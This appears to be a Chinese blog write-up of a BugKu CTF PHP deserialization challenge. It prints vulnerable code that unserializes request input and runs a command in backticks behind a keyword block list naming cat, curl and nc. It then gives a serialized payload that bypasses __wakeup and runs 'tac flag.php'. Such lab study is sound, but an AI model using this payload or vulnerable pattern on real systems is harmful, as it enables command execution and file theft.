博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
BugKu_安慰奖
阅读量:3932 次
发布时间:2019-05-23

本文共 1732 字,大约阅读时间需要 5 分钟。

 解码

 

 告诉我有备份文件。

 找到这个

";class ctf{ protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('
flag能让你这么容易拿到吗?
'); } if ($this->username === 'admin') { // echo "
right!
"; $a = `$this->cmd`; var_dump($a); }else { echo "
给你个安慰奖吧,hhh!
"; die(); } }} $select = $_GET['code']; $res=unserialize(@$select);?>

代码审计

是个关于反序列化的题目。

过滤了很多读取文件的命令:

不过还剩下tac看来是要读取文件了

关于反序列化:

访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里总结一下:

public(公有)protected(受保护)private(私有的)protected属性被序列化的时候属性值会变成:%00*%00属性名private属性被序列化的时候属性值会变成:%00类名%00属性名

 PHP的魔术函数也总结一下:

PHP中把以两个下划线__开头的方法称为魔术方法,这些方法在PHP中充当了举足轻重的作用。 魔术方法包括    __construct(),类的构造函数,当对象创建(new)时会自动调用    __destruct(),类的析构函数,当对象被销毁时会自动调用    __call(),在对象中调用一个不可访问方法时调用    __callStatic(),用静态方式中调用一个不可访问方法时调用    __get(),获得一个类的成员变量时调用    __set(),设置一个类的成员变量时调用    __isset(),当对不可访问属性调用isset()或empty()时调用    __unset(),当对不可访问属性调用unset()时被调用。    __sleep(),执行serialize()时,先会调用这个函数    __wakeup(),执行unserialize()时,先会调用这个函数    __toString(),类被当成字符串时的回应方法    __invoke(),调用函数的方式调用一个对象时的回应方法    __set_state(),调用var_export()导出类时,此静态方法会被调用。    __clone(),当对象复制完成时调用

所以我构造的payload:

O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

因为这里是protected所以是%00*%00共占三位

 

code=O:3:%22ctf%22:3:{s:11:%22%00*%00username%22;s:5:%22admin%22;s:6:%22%00*%00cmd%22;s:12:%22tac%20flag.php%22;}

转载地址:http://eytgn.baihongyu.com/

你可能感兴趣的文章
poj 1947 Rebuilding Roads(树形DP)
查看>>
zoj 3626 Treasure Hunt I(树形DP+分组背包)
查看>>
poj 1655 Balancing Act(树形DP,删点)
查看>>
hdu 1754 I Hate It(线段树,单点替换,求区间最值)
查看>>
poj 2828 Buy Tickets(线段树中单点更新较难的题目)
查看>>
codeforces 395 B1. iwiwi(待续)
查看>>
hdu 4283 You Are the One(区间DP)题目转换难,状态难,。。。
查看>>
codeforces 397B. On Corruption and Numbers
查看>>
SqlMapConfig.xml中的setting属性设置
查看>>
hdu 3172 Virtual Friends(简单并查集)
查看>>
find the most comfortable road(并查集加贪心)
查看>>
Junk-Mail Filter(并查集,删除结点,虚父节点)
查看>>
A Bug's Life (并查集,同性恋问题,注意处理性别)
查看>>
选美大赛(线段树)
查看>>
超级玛丽(简单模拟超时)
查看>>
obex_io.c
查看>>
Linux程序开发基础概念
查看>>
Linux系统环境变量详谈
查看>>
sprintf函数用法
查看>>
make的常见错误信息
查看>>